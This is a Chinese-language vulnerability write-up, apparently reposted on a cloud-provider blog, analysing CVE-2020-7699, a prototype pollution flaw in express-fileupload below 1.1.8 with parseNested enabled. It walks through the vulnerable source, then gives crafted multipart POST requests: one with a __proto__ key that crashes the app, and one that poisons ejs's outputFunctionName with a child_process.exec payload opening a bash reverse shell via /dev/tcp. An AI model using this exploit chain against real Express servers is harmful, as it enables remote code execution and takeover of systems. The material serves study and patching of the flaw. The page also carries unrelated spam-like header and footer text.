中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行CVE-2020-7699的漏洞分析

發布時間:2021-12-27 18:49:10 來源:億速云 閱讀:187 作者:柒染 欄目:安全技術

如何進行CVE-2020-7699的漏洞分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

CVE-2020-7699漏洞分析

一、簡介

CVE-2020-7699:NodeJS模塊代碼注入

該漏洞完全是由于Nodejs的express-fileupload模塊引起,該模塊的1.1.8之前的版本存在原型鏈污染(Prototype Pollution)漏洞,當然,引發該漏洞,需要一定的配置:parseNested選項設置為true

該漏洞可以引發DOS拒絕服務攻擊,配合ejs模板引擎,可以達到RCE的目的

二、漏洞源碼分析

如果想要復現的話,需要下載低版本的express-fileupload模塊

npm i express-fileupload@1.1.7-alpha.4

引起漏洞的源代碼:(關鍵部分)

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});
function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);       //獲取鍵名,列表

    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\[/g), '.')
        .replace(new RegExp(/\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) 
                    current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k];
            }
        }
    }

    return d;
};

其實引發原型鏈污染處就在于這個porcessNested方法,該函數用法:

例如:
傳入的參數是:{"a.b.c":"m1sn0w"}
通過這個函數后,返回的是"{ a: { b: { c: 'm1sn0w' } } }

其實他跟那個merge函數比較類似,都是循環調用,因此存在原型鏈污染
傳入參數:{"__proto__.m1sn0w":"m1sn0w"}
然后我們調用console.log(Object.__proto__.m1sn0w)
返回的值為m1sn0w

到這里,就比較清楚,只要調用processNested這個函數,并且如果函數的參數可控,便可達到原型鏈污染的目的。所以,這里就要介紹該漏洞形成的先決條件,parseNested配置選項要設置為true,例如:

const fileUpload = require('express-fileUpload')
var express = require('express')

app = express()
app.use(fileUpload({ parseNested: true }))

app.get('/',(req,res)=>{
    res.end("m1sn0w")
})

觀察最上方第一部分代碼,如果parseNested參數為true,則調用processNested函數,且參數是req.body或者req.files

req.body是nodejs解析post請求體,req.files獲取上傳文件的信息

兩種方法都可以。這里先使用req.files參數(后面的RCE會使用到req.body)

關于req.files參數,例如:POST請求上傳文件

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 336

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"





-----------------------------1546646991721295948201928333--

可以觀察到req.files的值為:

{ upload:
    { name: 'm1sn0w.txt',
      data: <Buffer 61 61 61 0a>,
      size: 4,
      encoding: '7bit',
      tempFilePath: '',
      truncated: false,
      mimetype: 'text/plain',
      md5:'......'
      mv: [Function: mv]
      }
}

更改上面的upluod參數為

__proto__.toString
那么結果就會變回:
{
    __proto__.toString:{
        ......
    }
}

由于設置了parseNested,會自動調用processNested函數,因此就造成了原型鏈的污染。

相當于:

{}[__proto__][toString] = { ...... }

當我們再次訪問頁面時,會返回500的錯誤(因為toString方法改變了)

三、利用ejs進行RCE

ejs模板引擎存在一個利用原型污染,進行RCE的一個漏洞(這個漏洞暫時還沒有修復,可能是因為利用的先決條件是要存在一個原型鏈污染的點)

先分析一下ejs引發此漏洞的源碼:(這里提取出了關鍵部分)

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
  
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output;' + '\n';
      this.source = prepended + this.source + appended;
    }
}

    src = this.source

    ctor = Function

    fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);

    fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

可以從下往上進行分析:

  1. 調用了fn方法,如果src參數可控,那么就可以自定義該函數;

  2. src參數的值來源于this.source

  3. 從最上面的方法,this.source = prepended + this.source + appended

其實上面整個函數都是在拼接this.source,最關鍵的部分在這里:

if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
}

利用的其實是這個:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

通過全局分析,opts.outputFunctionName最初是并沒有賦值的,如果存在原型鏈污染漏洞的話,我們可以自定義構造這個值,構造payload:

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

仔細觀察一下,為什么要x;開頭x結尾呢?其實是對上面的拼接,構成一個完整的js語句

現在來看一看如何通過上面的原型鏈污染來利用ejs達到RCE

這里利用的就是req.body而不是req.files

例如,這里構造POST請求:

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 339

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"



123

-----------------------------1546646991721295948201928333--

通過req.body返回的是

{ username : '123' }

我們將上面的username改為

__proto__.outputFunctionName

123的值改為:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

當我們再次發起請求時,便會在指定的主機反彈回來一個shell,從而達到RCE的目的

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

舟曲县| 台东市| 青浦区| 枣阳市| 阿图什市| 克拉玛依市| 台中县| 饶平县| 稷山县| 梁河县| 远安县| 甘肃省| 礼泉县| 乡宁县| 上蔡县| 南郑县| 策勒县| 邹平县| 寿阳县| 余江县| 焦作市| 团风县| 彭泽县| 自治县| 永宁县| 炉霍县| 紫金县| 拜泉县| 娱乐| 大邑县| 灵璧县| 乌拉特前旗| 手游| 信阳市| 阿拉尔市| 晴隆县| 建宁县| 乌苏市| 宣城市| 合山市| 石嘴山市|